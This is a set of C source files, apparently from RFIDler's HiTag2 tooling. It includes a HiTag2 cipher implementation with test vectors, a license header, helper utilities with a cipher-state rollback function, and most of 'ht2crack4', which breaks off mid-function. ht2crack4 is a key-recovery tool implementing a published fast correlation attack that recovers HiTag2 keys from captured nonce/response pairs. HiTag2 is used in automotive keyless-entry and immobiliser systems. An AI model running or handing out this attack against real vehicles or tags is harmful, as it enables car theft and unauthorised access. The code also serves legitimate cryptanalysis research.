#define pickbits1x4(S, A, B, C, D) ( ((S >> A) & 1) | ((S >> (B - 1)) & 2) | \
((S >> (C - 2)) & 4) | ((S >> (D - 3)) & 8) )
#define pickbits1_1_2(S, A, B, C) ( ((S >> A) & 1) | ((S >> (B - 1)) & 2) | \
((S >> (C - 2)) & 0xC) )
#define pickbits2_1_1(S, A, B, C) ( ((S >> A) & 3) | ((S >> (B - 2)) & 4) | \
((S >> (C - 3)) & 8) )
#define pickbits1_2_1(S, A, B, C) ( ((S >> A) & 1) | ((S >> (B - 1)) & 6) | \
((S >> (C - 3)) & 8) )
static uint32_t hitag2_crypt(uint64_t s)
{
const uint32_t ht2_function4a = 0x2C79; // 0010 1100 0111 1001
const uint32_t ht2_function4b = 0x6671; // 0110 0110 0111 0001
const uint32_t ht2_function5c = 0x7907287B; // 0111 1001 0000 0111 0010 1000 0111 1011
uint32_t bitindex;
bitindex = (ht2_function4a >> pickbits2_2 (s, 1, 4)) & 1;
bitindex |= ((ht2_function4b << 1) >> pickbits1_1_2 (s, 7, 11, 13)) & 0x02;
bitindex |= ((ht2_function4b << 2) >> pickbits1x4 (s, 16, 20, 22, 25)) & 0x04;
bitindex |= ((ht2_function4b << 3) >> pickbits2_1_1 (s, 27, 30, 32)) & 0x08;
bitindex |= ((ht2_function4a << 4) >> pickbits1_2_1(s, 33, 42, 45)) & 0x10;
DEBUG_PRINTF("hitag2_crypt bitindex = %02x\n", bitindex);
return (ht2_function5c >> bitindex) & 1;
}
/*
* Parameters:
* Hitag_State* pstate - output, internal state after initialisation
* uint64_t sharedkey - 48 bit key shared between reader & tag
* uint32_t serialnum - 32 bit tag serial number
* uint32_t initvector - 32 bit random IV from reader, part of tag authentication
*/
void hitag2_init(Hitag_State* pstate, uint64_t sharedkey, uint32_t serialnum, uint32_t initvector)
{
// init state, from serial number and lowest 16 bits of shared key
uint64_t state = ((sharedkey & 0xFFFF) << 32) | serialnum;
// mix the initialisation vector and highest 32 bits of the shared key
initvector ^= (uint32_t) (sharedkey >> 16);
// move 16 bits from (IV xor Shared Key) to top of uint64_t state
// these will be XORed in turn with output of the crypto function
state |= (uint64_t) initvector << 48;
initvector >>= 16;
// unrolled loop is faster on PIC32 (MIPS), do 32 times
// shift register, then calc new bit
state >>= 1;
state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;
state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;
state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;
state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;
state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;
state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;
state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;
state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;
state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;
state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;
state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;
state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;
state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;
state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;
state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;
state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;
// highest 16 bits of IV XOR Shared Key
state |= (uint64_t) initvector << 47;
state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;
state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;
state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;
state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;
state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;
state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;
state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;
state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;
state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;
state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;
state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;
state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;
state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;
state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;
state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;
state ^= (uint64_t) hitag2_crypt(state) << 47;
DEBUG_PRINTF("hitag2_init result = %012I64x\n", state);
pstate->shiftreg = state;
/* naive version for reference, LFSR has 16 taps
pstate->lfsr = state ^ (state >> 2) ^ (state >> 3) ^ (state >> 6)
^ (state >> 7) ^ (state >> 8) ^ (state >> 16) ^ (state >> 22)
^ (state >> 23) ^ (state >> 26) ^ (state >> 30) ^ (state >> 41)
^ (state >> 42) ^ (state >> 43) ^ (state >> 46) ^ (state >> 47);
*/
{
// optimise with one 64-bit intermediate
uint64_t temp = state ^ (state >> 1);
pstate->lfsr = state ^ (state >> 6) ^ (state >> 16)
^ (state >> 26) ^ (state >> 30) ^ (state >> 41)
^ (temp >> 2) ^ (temp >> 7) ^ (temp >> 22)
^ (temp >> 42) ^ (temp >> 46);
}
}
/*
* Return up to 32 crypto bits.
* Last bit is in least significant bit, earlier bits are shifted left.
* Note that the Hitag transmission protocol is least significant bit,
* so we may want to change this, or add a function, that returns the
* crypto output bits in the other order.
*
* Parameters:
* Hitag_State* pstate - in/out, internal cipher state after initialisation
* uint32_t steps - number of bits requested, (capped at 32)
*/
uint32_t hitag2_nstep(Hitag_State* pstate, uint32_t steps)
{
uint64_t state = pstate->shiftreg;
uint32_t result = 0;
uint64_t lfsr = pstate->lfsr;
if (steps == 0)
return 0;
// if (steps > 32)
// steps = 32;
do {
// update shift registers
if (lfsr & 1) {
state = (state >> 1) | 0x800000000000;
lfsr = (lfsr >> 1) ^ 0xB38083220073;
// accumulate next bit of crypto
result = (result << 1) | hitag2_crypt(state);
} else {
state >>= 1;
lfsr >>= 1;
result = (result << 1) | hitag2_crypt(state);
}
} while (--steps);
DEBUG_PRINTF("hitag2_nstep state = %012I64x, result %02x\n", state, result);
pstate->shiftreg = state;
pstate->lfsr = lfsr;
return result;
}
// end of crypto core, revert to default optimization level
#pragma GCC reset_options
/* Test code
Test data and below information about it comes from
http://www.mikrocontroller.net/attachment/102194/hitag2.c
Written by "I.C. Wiener 2006-2007"
"MIKRON" = O N M I K R
Key = 4F 4E 4D 49 4B 52 - Secret 48-bit key
Serial = 49 43 57 69 - Serial number of the tag, transmitted in clear
Random = 65 6E 45 72 - Random IV, transmitted in clear
~28~DC~80~31 = D7 23 7F CE - Authenticator value = inverted first 4 bytes of the keystream
The code below must print out "D7 23 7F CE 8C D0 37 A9 57 49 C1 E6 48 00 8A B6".
The inverse of the first 4 bytes is sent to the tag to authenticate.
The rest is encrypted by XORing it with the subsequent keystream.
*/
/*
unsigned int hitag2_benchtest_gen32()
{
const uint64_t key = 0x4ad292b272f2;
const uint32_t serial = 0x96eac292;
const uint32_t initvec = 0x4ea276a6;
Hitag_State state;
// init crypto
hitag2_init(&state, key, serial, initvec);
// benchmark: generation of 32 bit stream (excludes initialisation)
GetTimer_us(RESET);
(void) hitag2_nstep(&state, 32);
return GetTimer_us(NO_RESET);
}
unsigned int hitag2_benchtest(uint32_t count)
{
const uint64_t key = 0x4ad292b272f2;
const uint32_t serial = 0x96eac292;
const uint32_t initvec = 0x4ea276a6;
Hitag_State state;
uint32_t i;
// start timer
GetTimer_us(RESET);
// benchmark: initialise crypto & generate 32 bit authentication
// adding i stops gcc optimizer moving init function call out of loop
for (i = 0; i < count; i++) {
hitag2_init(&state, key, serial, initvec + i);
(void) hitag2_nstep(&state, 32);
}
return GetTimer_us(NO_RESET);
}
unsigned hitag2_verifytest()
{
uint8_t expected[16] = { 0xD7, 0x23, 0x7F, 0xCE, 0x8C, 0xD0, 0x37, 0xA9, 0x57, 0x49, 0xC1, 0xE6, 0x48, 0x00, 0x8A, 0xB6 };
// key = 0x4ad292b272f2 after each byte has its bit order reversed
// serial = 0x96eac292 ditto
// initvec = 0x4ea276a6 ditto
const uint64_t key = rev64 (0x524B494D4E4FUL);
const uint32_t serial = rev32 (0x69574349);
const uint32_t initvec = rev32 (0x72456E65);
uint32_t i;
Hitag_State state;
// initialise
hitag2_init(&state, key, serial, initvec);
for (i = 0; i < 16; i++) {
// get 8 bits of keystream
uint8_t x = (uint8_t) hitag2_nstep(&state, 8);
uint8_t y = expected[i];
DEBUG_PRINTF ("%02X (%02X) \n", x, y);
if (x != y)
return 0;
}
return 1;
}
*/
#ifdef UNIT_TEST
int main(int argc, char* argv[])
{
unsigned pass = hitag2_verifytest();
printf ("Crypto Verify test = %s\n\n", pass ? "PASS" : "FAIL");
if (pass) {
hitag2_benchtest(10000);
}
return 0;
}
#endif // UNIT_TEST

View file

@ -0,0 +1,171 @@
/***************************************************************************
* A copy of the GNU GPL is appended to this file. *
* *
* This licence is based on the nmap licence, and we express our gratitude *
* for the work that went into producing it. There is no other connection *
* between RFIDler and nmap either expressed or implied. *
* *
********************** IMPORTANT RFIDler LICENSE TERMS ********************
* *
* *
* All references to RFIDler herein imply all it's derivatives, namely: *
* *
* o RFIDler-LF Standard *
* o RFIDler-LF Lite *
* o RFIDler-LF Nekkid *
* *
* *
* RFIDler is (C) 2013-2014 Aperture Labs Ltd. *
* *
* This program is free software; you may redistribute and/or modify it *
* under the terms of the GNU General Public License as published by the *
* Free Software Foundation; Version 2 ("GPL"), BUT ONLY WITH ALL OF THE *
* CLARIFICATIONS AND EXCEPTIONS DESCRIBED HEREIN. This guarantees your *
* right to use, modify, and redistribute this software under certain *
* conditions. If you wish to embed RFIDler technology into proprietary *
* software or hardware, we sell alternative licenses *
* (contact sales@aperturelabs.com). *
* *
* Note that the GPL places important restrictions on "derivative works", *
* yet it does not provide a detailed definition of that term. To avoid *
* misunderstandings, we interpret that term as broadly as copyright law *
* allows. For example, we consider an application to constitute a *
* derivative work for the purpose of this license if it does any of the *
* following with any software or content covered by this license *
* ("Covered Software"): *
* *
* o Integrates source code from Covered Software. *
* *
* o Is designed specifically to execute Covered Software and parse the *
* results (as opposed to typical shell or execution-menu apps, which will *
* execute anything you tell them to). *
* *
* o Includes Covered Software in a proprietary executable installer. The *
* installers produced by InstallShield are an example of this. Including *
* RFIDler with other software in compressed or archival form does not *
* trigger this provision, provided appropriate open source decompression *
* or de-archiving software is widely available for no charge. For the *
* purposes of this license, an installer is considered to include Covered *
* Software even if it actually retrieves a copy of Covered Software from *
* another source during runtime (such as by downloading it from the *
* Internet). *
* *
* o Links (statically or dynamically) to a library which does any of the *
* above. *
* *
* o Executes a helper program, module, or script to do any of the above. *
* *
* This list is not exclusive, but is meant to clarify our interpretation *
* of derived works with some common examples. Other people may interpret *
* the plain GPL differently, so we consider this a special exception to *
* the GPL that we apply to Covered Software. Works which meet any of *
* these conditions must conform to all of the terms of this license, *
* particularly including the GPL Section 3 requirements of providing *
* source code and allowing free redistribution of the work as a whole. *
* *
* As another special exception to the GPL terms, Aperture Labs Ltd. grants*
* permission to link the code of this program with any version of the *
* OpenSSL library which is distributed under a license identical to that *
* listed in the included docs/licenses/OpenSSL.txt file, and distribute *
* linked combinations including the two. *
* *
* Any redistribution of Covered Software, including any derived works, *
* must obey and carry forward all of the terms of this license, including *
* obeying all GPL rules and restrictions. For example, source code of *
* the whole work must be provided and free redistribution must be *
* allowed. All GPL references to "this License", are to be treated as *
* including the terms and conditions of this license text as well. *
* *
* Because this license imposes special exceptions to the GPL, Covered *
* Work may not be combined (even as part of a larger work) with plain GPL *
* software. The terms, conditions, and exceptions of this license must *
* be included as well. This license is incompatible with some other open *
* source licenses as well. In some cases we can relicense portions of *
* RFIDler or grant special permissions to use it in other open source *
* software. Please contact sales@aperturelabs.com with any such requests.*
* Similarly, we don't incorporate incompatible open source software into *
* Covered Software without special permission from the copyright holders. *
* *
* If you have any questions about the licensing restrictions on using *
* RFIDler in other works, are happy to help. As mentioned above, we also *
* offer alternative license to integrate RFIDler into proprietary *
* applications and appliances. These contracts have been sold to dozens *
* of software vendors, and generally include a perpetual license as well *
* as providing for priority support and updates. They also fund the *
* continued development of RFIDler. Please email sales@aperturelabs.com *
* for further information. *
* If you have received a written license agreement or contract for *
* Covered Software stating terms other than these, you may choose to use *
* and redistribute Covered Software under those terms instead of these. *
* *
* Source is provided to this software because we believe users have a *
* right to know exactly what a program is going to do before they run it. *
* This also allows you to audit the software for security holes (none *
* have been found so far). *
* *
* Source code also allows you to port RFIDler to new platforms, fix bugs, *
* and add new features. You are highly encouraged to send your changes *
* to the RFIDler mailing list for possible incorporation into the *
* main distribution. By sending these changes to Aperture Labs Ltd. or *
* one of the Aperture Labs Ltd. development mailing lists, or checking *
* them into the RFIDler source code repository, it is understood (unless *
* you specify otherwise) that you are offering the RFIDler Project *
* (Aperture Labs Ltd.) the unlimited, non-exclusive right to reuse, *
* modify, and relicense the code. RFIDler will always be available Open *
* Source, but this is important because the inability to relicense code *
* has caused devastating problems for other Free Software projects (such *
* as KDE and NASM). We also occasionally relicense the code to third *
* parties as discussed above. If you wish to specify special license *
* conditions of your contributions, just say so when you send them. *
* *
* This program is distributed in the hope that it will be useful, but *
* WITHOUT ANY WARRANTY; without even the implied warranty of *
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the RFIDler *
* license file for more details (it's in a COPYING file included with *
* RFIDler, and also available from *
* https://github.com/ApertureLabsLtd/RFIDler/COPYING *
* *
***************************************************************************/
// Author: unknown.
// Modifications for RFIDler: Tony Naggs <tony.naggs@gmail.com>, Adam Laurie <adam@aperturelabs.com>
#ifndef HITAGCRYPTO_H
#define HITAGCRYPTO_H
#include <stdint.h>
/*
Our model of Hitag 2 crypto uses 2 parallel shift registers:
a. 48 bit Feedback Shift Register, required for inputs to the nonlinear function.
b. 48 bit Linear Feedback Shift Register (LFSR).
A transform of initial register (a) value, which is then run in parallel.
Enables much faster calculation of the feedback values.
API:
void hitag2_init(Hitag_State* pstate, uint64_t sharedkey, uint32_t serialnum,
uint32_t initvector);
Initialise state from 48 bit shared (secret) reader/tag key,
32 bit tag serial number and 32 bit initialisation vector from reader.
uint32_t hitag2_nstep(Hitag_State* pstate, uint32_t steps);
update shift register state and generate N cipher bits (N should be <= 32)
*/
typedef struct {
uint64_t shiftreg; // naive shift register, required for nonlinear fn input
uint64_t lfsr; // fast lfsr, used to make software faster
} Hitag_State;
void hitag2_init(Hitag_State* pstate, uint64_t sharedkey, uint32_t serialnum, uint32_t initvector);
uint32_t hitag2_nstep(Hitag_State* pstate, uint32_t steps);
unsigned int hitag2_benchtest_gen32();
unsigned int hitag2_benchtest(uint32_t count);
unsigned hitag2_verifytest();
#endif /* HITAGCRYPTO_H */

View file

@ -0,0 +1,187 @@
#include "ht2crack2utils.h"
// writes a value into a buffer as a series of bytes
void writebuf(unsigned char *buf, uint64_t val, unsigned int len)
{
int i;
char c;
for (i=len-1; i>=0; i--)
{
c = val & 0xff;
buf[i] = c;
val = val >> 8;
}
}
/* simple hexdump for testing purposes */
void shexdump(unsigned char *data, int data_len)
{
int i;
if (!data || (data_len <= 0)) {
printf("shexdump: invalid parameters\n");
return;
}
printf("Hexdump from %p:\n", data);
for (i=0; i<data_len; i++) {
if ((i % HEX_PER_ROW) == 0) {
printf("\n0x%04x: ", i);
}
printf("%02x ", data[i]);
}
printf("\n\n");
}
void printbin(unsigned char *c)
{
int i, j;
unsigned char x;
if (!c) {
printf("printbin: invalid params\n");
return;
}
for (i=0; i<6; i++) {
x = c[i];
for (j=0; j<8; j++) {
printf("%d", (x & 0x80) >> 7);
x = x << 1;
}
}
printf("\n");
}
void printbin2(uint64_t val, unsigned int size)
{
int i;
uint64_t mask = 1;
mask = mask << (size - 1);
for (i=0; i<size; i++) {
if (val & mask) {
printf("1");
} else {
printf("0");
}
val = val << 1;
}
}
void printstate(Hitag_State *hstate)
{
printf("shiftreg =\t");
printbin2(hstate->shiftreg, 48);
printf("\n");
}
// convert hex char to binary
unsigned char hex2bin(unsigned char c)
{
if ((c >= '0') && (c <= '9')) {
return (c - '0');
} else if ((c >= 'a') && (c <= 'f')) {
return (c - 'a' + 10);
} else if ((c >= 'A') && (c <= 'F')) {
return (c - 'A' + 10);
} else {
return 0;
}
}
// return a single bit from a value
int bitn(uint64_t x, int bit)
{
uint64_t bitmask = 1;
bitmask = bitmask << bit;
if (x & bitmask) {
return 1;
} else {
return 0;
}
}
// the sub-function R that rollback depends upon
int fnR(uint64_t x)
{
// renumbered bits because my state is 0-47, not 1-48
return (bitn(x, 1) ^ bitn(x, 2) ^ bitn(x, 5) ^ bitn(x, 6) ^ bitn(x, 7) ^
bitn(x, 15) ^ bitn(x, 21) ^ bitn(x, 22) ^ bitn(x, 25) ^ bitn(x, 29) ^ bitn(x, 40) ^
bitn(x, 41) ^ bitn(x, 42) ^ bitn(x, 45) ^ bitn(x, 46) ^ bitn(x, 47));
}
// the rollback function that lets us go backwards in time
void rollback(Hitag_State *hstate, unsigned int steps)
{
int i;
for (i=0; i<steps; i++) {
hstate->shiftreg = ((hstate->shiftreg << 1) & 0xffffffffffff) | fnR(hstate->shiftreg);
}
}
// the three filter sub-functions that feed fnf
int fa(unsigned int i)
{
return bitn(0x2C79, i);
}
int fb(unsigned int i)
{
return bitn(0x6671, i);
}
int fc(unsigned int i)
{
return bitn(0x7907287B, i);
}
// the filter function that generates a bit of output from the prng state
int fnf(uint64_t s)
{
unsigned int x1, x2, x3, x4, x5, x6;
x1 = (bitn(s, 2) << 0) | (bitn(s, 3) << 1) | (bitn(s, 5) << 2) | (bitn(s, 6) << 3);
x2 = (bitn(s, 8) << 0) | (bitn(s, 12) << 1) | (bitn(s, 14) << 2) | (bitn(s, 15) << 3);
x3 = (bitn(s, 17) << 0) | (bitn(s, 21) << 1) | (bitn(s, 23) << 2) | (bitn(s, 26) << 3);
x4 = (bitn(s, 28) << 0) | (bitn(s, 29) << 1) | (bitn(s, 31) << 2) | (bitn(s, 33) << 3);
x5 = (bitn(s, 34) << 0) | (bitn(s, 43) << 1) | (bitn(s, 44) << 2) | (bitn(s, 46) << 3);
x6 = (fa(x1) << 0) | (fb(x2) << 1) | (fb(x3) << 2) | (fb(x4) << 3) | (fa(x5) << 4);
return fc(x6);
}
// builds the lfsr for the prng (quick calcs for hitag2_nstep())
void buildlfsr(Hitag_State *hstate)
{
uint64_t state = hstate->shiftreg;
uint64_t temp;
temp = state ^ (state >> 1);
hstate->lfsr = state ^ (state >> 6) ^ (state >> 16)
^ (state >> 26) ^ (state >> 30) ^ (state >> 41)
^ (temp >> 2) ^ (temp >> 7) ^ (temp >> 22)
^ (temp >> 42) ^ (temp >> 46);
}

View file

@ -0,0 +1,34 @@
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <pthread.h>
#include "HardwareProfile.h"
#include "rfidler.h"
#include "util.h"
#include "hitagcrypto.h"
#define HEX_PER_ROW 16
void writebuf(unsigned char *buf, uint64_t val, unsigned int len);
void shexdump(unsigned char *data, int data_len);
void printbin(unsigned char *c);
void printbin2(uint64_t val, unsigned int size);
void printstate(Hitag_State *hstate);
unsigned char hex2bin(unsigned char c);
int bitn(uint64_t x, int bit);
int fnR(uint64_t x);
void rollback(Hitag_State *hstate, unsigned int steps);
int fa(unsigned int i);
int fb(unsigned int i);
int fc(unsigned int i);
int fnf(uint64_t s);
void buildlfsr(Hitag_State *hstate);

View file

@ -0,0 +1,868 @@
/* ht2crack4.c
*
* This is an implementation of the fast correlation attack in Section 4.4 of the
* paper, Lock It and Still Lose It - On the (In)Security of Automotive Remote
* Keyless Entry Systems by Garcia, Oswald, Kasper and Pavlides.
* It is essentially an attack on the HiTag2 cryptosystem; it uses a small number
* (between 4 and 32) of encrypted nonce and challenge response pairs for the same
* UID to recover the key.
*
* Key recovery is performed by enumerating all 65536 of the first 16 bits of the
* key and then, using the encrypted nonces and challenge response pairs, scoring
* all of the guesses for how likely they are to be the first 16 bits of the actual
* key. The best of these guesses are then expanded by 1 bit and the process
* iterates until all bits have been guessed. The resulting guesses are then searched
* for the one that is actually correct, testing against two pairs.
*
* The program reads in up to 32 encrypted nonce and challenge response pairs from
* the supplied file; the number actually used is specified on the command line
* (defaults to all those read in). The default size of the table is 800000 but this
* can be changed via the command line options.
*
* Using more encrypted nonce and challenge response pairs improves the chances of
* recovering the key and doesn't significantly add to the time it takes.
*
* Using a larger table also improves the chances of recovering the key but
* *significantly* increases the time it takes to run.
*
* Best recommendation is to use as many encrypted nonce and challenge response
* pairs as you can, and start with a table size of about 500000, as this will take
* around 45s to run. If it fails, run it again with a table size of 1000000,
* continuing to double the table size until it succeeds. Alternatively, start with
* a table size of about 3000000 and expect it to take around 4 mins to run, but
* with a high likelihood of success.
*
* Setting table size to a large number (~32000000) will likely blow up the stack
* during the recursive qsort(). This could be fixed by making the stack space
* larger but really, you need a smaller table and more encrypted nonces.
*
* The scoring of the guesses is controversial, having been tweaked over and again
* to find a measure that provides the best results. Feel free to tweak it yourself
* if you don't like it or want to try alternative metrics.
*/
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <unistd.h>
#include <inttypes.h>
#include <math.h>
#include <pthread.h>
#include "ht2crack2utils.h"
/* you could have more than 32 traces, but you shouldn't really need
* more than 16. You can still win with 8 if you're lucky. */
#define MAX_NONCES 32
/* set this to the number of virtual cores you have */
#define NUM_THREADS 8
/* encrypted nonce and keystream storage
* ks is ~enc_aR */
struct nonce {
uint64_t enc_nR;
uint64_t ks;
};
/* guess table entry - we store key guesses and do the maths to convert
* to states in the code
* score is used for sorting purposes
* b0to31 is an array of the keystream generated from the init state
* that is later XORed with the encrypted nonce and key guess
*/
struct guess {
uint64_t key;
double score;
uint64_t b0to31[MAX_NONCES];
};
/* thread_data is the data sent to the scoring threads */
struct thread_data {
unsigned int start;
unsigned int end;
unsigned int size;
};
/* guess table and encrypted nonce/keystream table */
struct guess *guesses = NULL;
unsigned int num_guesses;
struct nonce nonces[MAX_NONCES];
unsigned int num_nRaR;
uint64_t uid;
int maxtablesize = 800000;
uint64_t supplied_testkey = 0;
void usage()
{
printf("ht2crack4 - K Sheldrake, based on the work of Garcia et al\n\n");
printf("Cracks a HiTag2 key using a small number (4 to 16) of encrypted\n");
printf("nonce and challenge response pairs, using a fast correlation\n");
printf("approach.\n\n");
printf(" -u UID (required)\n");
printf(" -n NONCEFILE (required)\n");
printf(" -N number of nRaR pairs to use (defaults to 32)\n");
printf(" -t TABLESIZE (defaults to 800000\n");
printf("Increasing the table size will slow it down but will be more\n");
printf("successful.\n");
exit(1);
}
/* macros to select bits from lfsr states - from RFIDler code */
#define pickbits2_2(S, A, B) ( ((S >> A) & 3) | ((S >> (B - 2)) & 0xC) )
#define pickbits1x4(S, A, B, C, D) ( ((S >> A) & 1) | ((S >> (B - 1)) & 2) | \
((S >> (C - 2)) & 4) | ((S >> (D - 3)) & 8) )
#define pickbits1_1_2(S, A, B, C) ( ((S >> A) & 1) | ((S >> (B - 1)) & 2) | \
((S >> (C - 2)) & 0xC) )
#define pickbits2_1_1(S, A, B, C) ( ((S >> A) & 3) | ((S >> (B - 2)) & 4) | \
((S >> (C - 3)) & 8) )
#define pickbits1_2_1(S, A, B, C) ( ((S >> A) & 1) | ((S >> (B - 1)) & 6) | \
((S >> (C - 3)) & 8) )
/* boolean tables for fns a, b and c - from RFIDler code */
const uint64_t ht2_function4a = 0x2C79; // 0010 1100 0111 1001
const uint64_t ht2_function4b = 0x6671; // 0110 0110 0111 0001
const uint64_t ht2_function5c = 0x7907287B; // 0111 1001 0000 0111 0010 1000 0111 1011
/* following arrays are the probabilities of getting a 1 from each function, given
* a known least-sig pattern. first index is num bits in known part, second is the
* bit pattern of the known part. */
double pfna[][8] = {
{0.50000, 0.50000, },
{0.50000, 0.50000, 0.50000, 0.50000, },
{0.50000, 0.00000, 0.50000, 1.00000, 0.50000, 1.00000, 0.50000, 0.00000, },
};
double pfnb[][8] = {
{0.62500, 0.37500, },
{0.50000, 0.75000, 0.75000, 0.00000, },
{0.50000, 0.50000, 0.50000, 0.00000, 0.50000, 1.00000, 1.00000, 0.00000, },
};
double pfnc[][16] = {
{0.50000, 0.50000, },
{0.62500, 0.62500, 0.37500, 0.37500, },
{0.75000, 0.50000, 0.25000, 0.75000, 0.50000, 0.75000, 0.50000, 0.00000, },
{1.00000, 1.00000, 0.50000, 0.50000, 0.50000, 0.50000, 0.50000, 0.00000, 0.50000, 0.00000, 0.00000, 1.00000, 0.50000, 1.00000, 0.50000, 0.00000, },
};
/* hitag2_crypt works on the post-shifted form of the lfsr; this is the ref in rfidler code */
static uint32_t hitag2_crypt(uint64_t s)
{
uint32_t bitindex;
bitindex = (ht2_function4a >> pickbits2_2 (s, 1, 4)) & 1;
bitindex |= ((ht2_function4b << 1) >> pickbits1_1_2 (s, 7, 11, 13)) & 0x02;
bitindex |= ((ht2_function4b << 2) >> pickbits1x4 (s, 16, 20, 22, 25)) & 0x04;
bitindex |= ((ht2_function4b << 3) >> pickbits2_1_1 (s, 27, 30, 32)) & 0x08;
bitindex |= ((ht2_function4a << 4) >> pickbits1_2_1(s, 33, 42, 45)) & 0x10;
return (ht2_function5c >> bitindex) & 1;
}
/* ht2crypt works on the pre-shifted form of the lfsr; this is the ref in the paper */
uint64_t ht2crypt(uint64_t s)
{
uint64_t bitindex;
bitindex = (ht2_function4a >> pickbits2_2 (s, 2, 5)) & 1;
bitindex |= ((ht2_function4b << 1) >> pickbits1_1_2 (s, 8, 12, 14)) & 0x02;
bitindex |= ((ht2_function4b << 2) >> pickbits1x4 (s, 17, 21, 23, 26)) & 0x04;
bitindex |= ((ht2_function4b << 3) >> pickbits2_1_1 (s, 28, 31, 33)) & 0x08;
bitindex |= ((ht2_function4a << 4) >> pickbits1_2_1(s, 34, 43, 46)) & 0x10;
return (ht2_function5c >> bitindex) & 1;
}
/* fnL is the feedback function for the reference code */
uint64_t fnL(uint64_t x)
{
return (bitn(x, 0) ^ bitn(x, 2) ^ bitn(x, 3) ^ bitn(x, 6) ^ bitn(x, 7) ^ bitn(x, 8) ^
bitn(x, 16) ^ bitn(x, 22) ^ bitn(x, 23) ^ bitn(x, 26) ^ bitn(x, 30) ^ bitn(x, 41) ^
bitn(x, 42) ^ bitn(x, 43) ^ bitn(x, 46) ^ bitn(x, 47));
}
/* packed_size is an array that maps the number of confirmed bits in a state to
* the number of relevant bits.
* e.g. if there are 16 confirmed bits in a state, then packed_size[16] = 8 relevant bits.
* this is for pre-shifted lfsr */
unsigned int packed_size[] = { 0, 0, 0, 1, 2, 2, 3, 4, 4, 5, 5, 5, 5, 6, 6, 7, 8,
8, 9, 9, 9, 9, 10, 10, 11, 11, 11, 12, 12, 13, 14, 14, 15,
15, 16, 17, 17, 17, 17, 17, 17, 17, 17, 17, 18, 19, 19, 20, 20 };
/* f20 is the same as hitag2_crypt except it works on the packed version
* of the state where all 20 relevant bits are squashed together */
uint64_t f20(uint64_t y)
{
uint64_t bitindex;
bitindex = (ht2_function4a >> (y & 0xf)) & 1;
bitindex |= ((ht2_function4b << 1) >> ((y >> 4) & 0xf)) & 0x02;
bitindex |= ((ht2_function4b << 2) >> ((y >> 8) & 0xf)) & 0x04;
bitindex |= ((ht2_function4b << 3) >> ((y >> 12) & 0xf)) & 0x08;
bitindex |= ((ht2_function4a << 4) >> ((y >> 16) & 0xf)) & 0x10;
return (ht2_function5c >> bitindex) & 1;
}
/* packstate packs the relevant bits from LFSR state into 20 bits for pre-shifted lfsr */
uint64_t packstate(uint64_t s)
{
uint64_t packed;
packed = pickbits2_2 (s, 2, 5);
packed |= (pickbits1_1_2 (s, 8, 12, 14) << 4);
packed |= (pickbits1x4 (s, 17, 21, 23, 26) << 8);
packed |= (pickbits2_1_1 (s, 28, 31, 33) << 12);
packed |= (pickbits1_2_1(s, 34, 43, 46) << 16);
return packed;
}
/* create_guess_table mallocs the tables */
void create_guess_table()
{
guesses = (struct guess *)malloc(sizeof(struct guess) * maxtablesize);
if (!guesses) {
printf("cannot malloc guess table\n");
exit(1);
}
}
/* init the guess table by reading in the encrypted nR,aR values and
* setting the first 2^16 key guesses */
void init_guess_table(char *filename, char *uidstr)
{
unsigned int i, j;
FILE *fp;
char *buf = NULL;
char *buft1 = NULL;
char *buft2 = NULL;
size_t lenbuf = 64;
if (!guesses) {
printf("guesses is NULL\n");
exit(1);
}
// read uid
if (!strncmp(uidstr, "0x", 2)) {
uid = rev32(hexreversetoulong(uidstr + 2));
} else {
uid = rev32(hexreversetoulong(uidstr));
}
// read encrypted nonces and challenge response values
fp = fopen(filename, "r");
if (!fp) {
printf("cannot open nRaR file\n");
exit(1);
}
num_nRaR = 0;
buf = (char *)malloc(lenbuf);
if (!buf) {
printf("cannot malloc buf\n");
exit(1);
}
while ((getline(&buf, &lenbuf, fp) > 0) && (num_nRaR < MAX_NONCES)) {
buft1 = strchr(buf, ' ');
if (!buft1) {
printf("invalid file input on line %d\n", num_nRaR + 1);
exit(1);
}
*buft1 = 0x00;
buft1++;
buft2 = strchr(buft1, '\n');
if (!buft2) {
printf("no CR on line %d\n", num_nRaR + 1);
exit(1);
}
*buft2 = 0x00;
if (!strncmp(buf, "0x", 2)) {
nonces[num_nRaR].enc_nR = rev32(hexreversetoulong(buf+2));
nonces[num_nRaR].ks = rev32(hexreversetoulong(buft1+2)) ^ 0xffffffff;
} else {
